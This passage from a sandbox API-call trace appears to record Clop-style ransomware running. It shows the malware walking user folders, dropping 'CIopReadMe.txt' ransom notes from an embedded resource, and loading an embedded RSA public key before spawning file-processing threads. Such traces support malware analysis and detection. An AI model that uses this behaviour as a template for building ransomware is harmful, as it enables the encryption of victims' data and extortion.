lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\" [0101.348] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc7248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x548 [0101.349] SetErrorMode (uMode=0x1) returned 0x1 [0101.349] wsprintfW (in: param_1=0x2dc6e0c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\CIopReadMe.txt") returned 60 [0101.349] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\bldid5xjzq jcm\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0101.349] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0101.349] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0101.349] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0101.349] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0101.349] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0101.349] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\bldid5xjzq jcm\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0101.350] WriteFile (in: hFile=0x5bc, lpBuffer=0x647580*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x2dc6e04, lpOverlapped=0x0 | out: lpBuffer=0x647580*, lpNumberOfBytesWritten=0x2dc6e04*=0x759, lpOverlapped=0x0) returned 1 [0101.350] CloseHandle (hObject=0x5bc) returned 1 [0101.351] FindNextFileW (in: hFindFile=0x648e38, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0101.351] FindClose (in: hFindFile=0x648e38 | out: hFindFile=0x648e38) returned 1 [0101.351] FindClose (in: hFindFile=0x648e38 | out: hFindFile=0x648e38) returned 0 [0101.351] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM" [0101.351] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\*.*" [0101.351] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x648fb8 [0101.351] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM") returned="bLdID5XJzq jCM" [0101.351] lstrcpyW (in: lpString1=0x2dc7014, lpString2="bLdID5XJzq jCM" | out: lpString1="bLdID5XJzq jCM") returned="bLdID5XJzq jCM" [0101.351] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0101.351] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0101.351] FindNextFileW (in: hFindFile=0x648fb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0101.351] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0101.351] FindNextFileW (in: hFindFile=0x648fb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0101.351] FindNextFileW (in: hFindFile=0x648fb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0101.351] FindNextFileW (in: hFindFile=0x648fb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0101.351] FindClose (in: hFindFile=0x648fb8 | out: hFindFile=0x648fb8) returned 1 [0101.351] FindClose (in: hFindFile=0x648fb8 | out: hFindFile=0x648fb8) returned 0 [0101.352] FindNextFileW (in: hFindFile=0x648ef8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0101.352] lstrcmpW (lpString1="Camera Roll", lpString2="..") returned 1 [0101.352] lstrcmpW (lpString1="Camera Roll", lpString2=".") returned 1 [0101.352] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0101.352] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0101.352] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="Camera Roll" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll" [0101.352] SetErrorMode (uMode=0x1) returned 0x1 [0101.352] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll" [0101.352] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\" [0101.352] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\" [0101.352] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*.*" [0101.352] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x6493f8 [0101.376] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll") returned="Camera Roll" [0101.376] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Camera Roll" | out: lpString1="Camera Roll") returned="Camera Roll" [0101.376] FindNextFileW (in: hFindFile=0x6493f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0101.376] FindNextFileW (in: hFindFile=0x6493f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0101.376] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0101.376] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0101.376] lstrlenW (lpString="desktop.ini") returned 11 [0101.376] FindNextFileW (in: hFindFile=0x6493f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0101.376] FindClose (in: hFindFile=0x6493f8 | out: hFindFile=0x6493f8) returned 1 [0101.377] FindClose (in: hFindFile=0x6493f8 | out: hFindFile=0x6493f8) returned 0 [0101.377] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll" [0101.377] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*.*" [0101.377] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x6493f8 [0101.377] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll") returned="Camera Roll" [0101.377] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Camera Roll" | out: lpString1="Camera Roll") returned="Camera Roll" [0101.377] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0101.377] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0101.377] FindNextFileW (in: hFindFile=0x6493f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0101.377] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0101.377] FindNextFileW (in: hFindFile=0x6493f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0101.377] FindNextFileW (in: hFindFile=0x6493f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0101.377] FindClose (in: hFindFile=0x6493f8 | out: hFindFile=0x6493f8) returned 1 [0101.377] FindClose (in: hFindFile=0x6493f8 | out: hFindFile=0x6493f8) returned 0 [0101.377] FindNextFileW (in: hFindFile=0x648ef8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0101.377] FindNextFileW (in: hFindFile=0x648ef8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0101.377] FindNextFileW (in: hFindFile=0x648ef8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0101.377] FindNextFileW (in: hFindFile=0x648ef8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0101.377] FindNextFileW (in: hFindFile=0x648ef8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0101.377] lstrcmpW (lpString1="Saved Pictures", lpString2="..") returned 1 [0101.377] lstrcmpW (lpString1="Saved Pictures", lpString2=".") returned 1 [0101.377] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0101.377] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0101.377] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="Saved Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures" [0101.378] SetErrorMode (uMode=0x1) returned 0x1 [0101.378] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures" [0101.378] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\" [0101.378] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\" [0101.378] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*.*" [0101.378] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x648fb8 [0101.392] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures") returned="Saved Pictures" [0101.392] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Saved Pictures" | out: lpString1="Saved Pictures") returned="Saved Pictures" [0101.392] FindNextFileW (in: hFindFile=0x648fb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0101.393] FindNextFileW (in: hFindFile=0x648fb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0101.393] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0101.393] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0101.393] lstrlenW (lpString="desktop.ini") returned 11 [0101.393] FindNextFileW (in: hFindFile=0x648fb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0101.393] FindClose (in: hFindFile=0x648fb8 | out: hFindFile=0x648fb8) returned 1 [0101.393] FindClose (in: hFindFile=0x648fb8 | out: hFindFile=0x648fb8) returned 0 [0101.393] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures" [0101.393] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*.*" [0101.393] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x6493f8 [0101.393] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures") returned="Saved Pictures" [0101.393] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Saved Pictures" | out: lpString1="Saved Pictures") returned="Saved Pictures" [0101.393] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0101.393] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0101.393] FindNextFileW (in: hFindFile=0x6493f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0101.393] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0101.393] FindNextFileW (in: hFindFile=0x6493f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0101.393] FindNextFileW (in: hFindFile=0x6493f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0101.393] FindClose (in: hFindFile=0x6493f8 | out: hFindFile=0x6493f8) returned 1 [0101.393] FindClose (in: hFindFile=0x6493f8 | out: hFindFile=0x6493f8) returned 0 [0101.394] FindNextFileW (in: hFindFile=0x648ef8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0101.394] FindNextFileW (in: hFindFile=0x648ef8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0101.394] FindClose (in: hFindFile=0x648ef8 | out: hFindFile=0x648ef8) returned 1 [0101.394] FindClose (in: hFindFile=0x648ef8 | out: hFindFile=0x648ef8) returned 0 [0101.394] FindNextFileW (in: hFindFile=0x5d6788, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0101.394] lstrcmpW (lpString1="PrintHood", lpString2="..") returned 1 [0101.394] lstrcmpW (lpString1="PrintHood", lpString2=".") returned 1 [0101.394] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0101.394] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0101.394] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="PrintHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood" [0101.394] SetErrorMode (uMode=0x1) returned 0x1 [0101.394] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\PrintHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood" [0101.394] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\" [0101.394] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\" [0101.394] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\*.*" [0101.394] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0101.394] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\PrintHood") returned="PrintHood" [0101.394] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="PrintHood" | out: lpString1="PrintHood") returned="PrintHood" [0101.394] lstrcmpW (lpString1="vxT7Wz-UZ XFfNDp.png", lpString2="..") returned 1 [0101.394] lstrcmpW (lpString1="vxT7Wz-UZ XFfNDp.png", lpString2=".") returned 1 [0101.394] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\") returned 36 [0101.394] Sleep (dwMilliseconds=0xd) [0101.440] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0101.440] lstrcpyW (in: lpString1=0x2dc93de, lpString2="vxT7Wz-UZ XFfNDp.png" | out: lpString1="vxT7Wz-UZ XFfNDp.png") returned="vxT7Wz-UZ XFfNDp.png" [0101.441] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\" [0101.441] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x554 [0101.441] WaitForSingleObject (hHandle=0x554, dwMilliseconds=0xffffffff) returned 0x0 [0101.547] SetErrorMode (uMode=0x1) returned 0x1 [0101.547] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\CIopReadMe.txt") returned 46 [0101.547] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\printhood\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0101.547] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0101.547] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0101.547] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0101.547] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0101.548] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0101.548] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\printhood\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0101.571] WriteFile (in: hFile=0x514, lpBuffer=0x647580*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x2dc8a3c, lpOverlapped=0x0 | out: lpBuffer=0x647580*, lpNumberOfBytesWritten=0x2dc8a3c*=0x759, lpOverlapped=0x0) returned 1 [0101.571] CloseHandle (hObject=0x514) returned 1 [0101.594] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0101.594] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0101.594] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0101.594] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\PrintHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood" [0101.594] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\*.*" [0101.594] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0101.594] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\PrintHood") returned="PrintHood" [0101.594] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="PrintHood" | out: lpString1="PrintHood") returned="PrintHood" [0101.594] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0101.594] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0101.594] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0101.594] FindNextFileW (in: hFindFile=0x5d6788, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0101.594] lstrcmpW (lpString1="Recent", lpString2="..") returned 1 [0101.594] lstrcmpW (lpString1="Recent", lpString2=".") returned 1 [0101.595] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0101.595] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0101.595] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent" [0101.595] SetErrorMode (uMode=0x1) returned 0x1 [0101.595] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent" [0101.595] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent\\" [0101.595] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Recent\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent\\" [0101.595] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent\\*.*" [0101.595] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Recent\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0101.595] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Recent") returned="Recent" [0101.595] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Recent" | out: lpString1="Recent") returned="Recent" [0101.595] lstrcmpW (lpString1="vxT7Wz-UZ XFfNDp.png", lpString2="..") returned 1 [0101.595] lstrcmpW (lpString1="vxT7Wz-UZ XFfNDp.png", lpString2=".") returned 1 [0101.595] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Recent\\") returned 33 [0101.595] Sleep (dwMilliseconds=0xd) [0101.677] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho 